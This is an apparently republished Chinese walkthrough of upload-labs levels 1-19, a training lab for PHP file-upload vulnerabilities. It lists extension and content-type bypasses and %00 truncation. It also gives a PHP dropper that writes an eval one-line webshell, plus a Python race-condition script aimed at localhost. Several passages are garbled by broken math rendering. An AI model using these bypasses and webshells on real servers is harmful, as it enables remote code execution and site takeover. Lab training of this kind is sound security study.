新upload-labs 1-19关过关思路

Posted Big_WhiteZzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了新upload-labs 1-19关过关思路相关的知识,希望对你有一定的参考价值。

upload.test

Pass-01

删除check方法return checkFile() 如果浏览器不允许修改前端代码,就使用抓包工具修改

然后上传一句话木马

Pass-02

后端校验content-type

把typege更改成image/jpeg

Pass-03

php:: D A T A 相 当 于 1. p h p 2. p h p : a . j p g 会 生 成 2. p h p 但 内 容 是 在 我 们 2. p h p : a . j p g 中 ( 不 用 这 个 ) 双 写 : : DATA 相当于1.php 2.php:a.jpg 会生成2.php 但内容是在我们2.php:a.jpg中(不用这个) 双写:: DATA1.php2.php:a.jpg2.php2.php:a.jpg()::DATA-> :: D A T : : DAT:: DAT::DATAA,因为会去掉一个

AddType application/x-httpd-php .php .phtml 解析.phtml和php后缀

创建这个文件先上传这个

然后再把1.php的文件名更改为phtml 再上传就可以了

Pass-04

双写::$DATA同样可以使用

htaccess文件 AddType application/x-httpd-php .jpg 解析jpg图片

更改1.php的文件名为1.jpg 上传就行了

利用apache解析:从后往前解析,遇到解析不出来的后缀会像前解析 1.php.xxx xxx代表不存在解析名称

更改1.php的文件名为1.php.abc

Pass-05

双写::$DATA同样可以使用

利用apache解析:从后往前解析,遇到解析不出来的后缀会像前解析 1.php.xxx xxx代表不存在解析名称

更改1.php的文件名为1.php.abc 这个是有条件的,如果不能解析shell.php.xxx ,说明httpd.conf 中没有增加 .php 解析
需要在httpd.conf中加入:
AddType application/x-httpd-php .php

1.php. .也可以

Pass-06

使用burp爆破,尝试各种后缀名,最后发现 phP、Php、php1、php7等没有被限制(注意:爆破只能是字母加数字,特殊符号会被url编码导致文件名后缀错误)
那么可以上传一个 1.phP ,因为windows下面可以忽略大小写,所以可以执行这个php文件,如果在linux下不能运行

双写::$DATA同样可以使用

Pass-07

双写::$DATA同样可以使用

从源码中看出,没有对文件后缀的空格进行过滤,所以可以在1.php 后面加一个空格,可以使用burp抓包后修改后缀名
注意:在windows下可以执行,因为windows会忽略后缀的空格,在linux下不可以

Pass-08

这一关过滤了所有的后缀名,然后去除了首尾空格,我们发现可以在文件末尾加 点号. 绕过,然后在windows中如果执行末尾为点号的,会将点号去除

可以使用 shell.php.abc ,从右往左不能解析abc,就去解析php,按照php执行

双写::$DATA同样可以使用

Pass-09

没有过滤data 1.php::$DATA就可以了

Pass-10

双写::$DATA同样可以使用

php 抓包修改为 1.php. .

更改1.php的文件名为1.php.abc

Pass-11

没有过滤data 1.php::$DATA就可以了

双写绕过 1.pphphp 但是切记不能phphpp 因为会把前面的php去掉

Pass-12

后端采用白名单判断,但图片的路径是直接拼接出,例如:
$img_path = G E T [ ′ s a v e p a t h ′ ] . " / " . r a n d ( 10 , 99 ) . d a t e ( " Y m d H i s " ) . " . " . _GET['save_path']."/".rand(10, 99).date("YmdHis").".". GET[savepath]."/".rand(10,99).date("YmdHis").".".file_ext;
可以利用%00截断绕过(传入save_path 参数时加上),但是有条件

1、必须php的版本小于5.3.4
2、php的magic_quotes_gpc为off的状态
绕过:首先抓包修改name=1.jpg 类型改为:Content-type:image/jpeg
然后修改sava_path, 加上 /1.php/%00
注意:可以使用 /1.php%00 (不加/)
最后使用1.php访问页面

删掉后面的就可以了 然后出来的是一个空白的页面,但是是成功了的,上传POST参数就行了

Post-13

和pass-12类似,也是00截断
但是这里是POST传值,不能直接对%00进行解码
可通过burp抓包后在 …/upload/1.php+ 后面增加一个+号,然后在hex中,将+对应的hex 2b 更改为00,就可以了

在hex里面把+号的2b改成了00

然后同上

Post-14

上传加了木马的图片后,点击这里,然后

这个是因为路径错了

这样就可以了

Post-15

和post-14一模一样的操作,

还可以绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。

Post-16

源码错了

Post-17

重新渲染了图片,我们可以先上传一张,成功后下载,在HXD软件上对比,看有什么地方没有被渲染更改,然后再其中写入一句话木马

然后再上传就好了

Post-18

条件竞争

写一个木马 18.php

<?php
echo md5(1);
fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
?>

木马上传成功的话,会输出一个1 并创建一个shell.php 里面写入一句话木马

写一个exp.py的脚本用来触发18.php并验证是否成功插入

import requests
def main():
    i=0
    while 1:
        try:
            print(i,end='\\r')
            a = requests.get("http://127.0.0.1/labs/upload-labs-master/upload/18.php")
            if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
                print( "OK")
                break
        except Exception as e:
            pass
        i+=1
main()

requests.get后面跟文件的路径

c4ca4238a0b923820dcc509a6f75849b=1

发送到这里,清除所有$,因为要一直发送完整的包,趁系统没注意插进去

脚本跑起来后,开始攻击,如果python没有安装requests模块,可以用pip install requests 安装

最后访问shell.php的位置 空白

再输入post参数 1=phpinfo();验证成功

Post-19

条件竞争,首先分析源码

这里是部分代码

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

审计后,发现文件的白名单有这些,发现代码不全,于是乎,我打开完整的代码开始审计

发现19关文件上传保存的地址为空,也就是说保存在与upload同级的目录下,而不是和18关保存在upload里面一样

根据这行代码可知,最后文件名字会被改成8个随机字母

这是检查文件后缀名的定义函数

在上传文件后,会立马有一个在文件名前面加一个upload的操作

根据代码运行逻辑可知,如果文件类型不通过,根本不会执行后面的移动文件,所以就没有机会了,也不能上传文件包含,所以只能通过白名单,浏览器遇到不能解析的后缀时,会向前解析,经过尝试后,发现只有 7z结尾的后缀不会被解析,所以尝试上传1.php.7z 上传成功,但是文件里的php后缀会被删除,所以得利用条件竞争,在重命名前执行木马,接下来就是写一个19.php.7z

<?php
echo md5(1);
fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
?>

再写一个19.py

import requests
def main():
    i=0
    while 1:
        try:
            print(i,end='\\r')
            a = requests.get("http://127.0.0.1/labs/upload-labs-master/upload19.php.7z")
            if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
                print( "OK")
                break
        except Exception as e:
            pass
        i+=1
main()

然后执行和18关一样的操作,最后成功!

最后通过shell工具连接就行

以上是关于新upload-labs 1-19关过关思路的主要内容,如果未能解决你的问题,请参考以下文章

upload-labs搭建及前11关过关教程

Upload-labs(1-21关详细教程)简单易懂万字教程

upload-labs-21关通关笔记

从upload-labs了解upload那点事(21关版本原理精细记录)

脚本关4

全民飞机大战第二十三关怎么过 过关攻略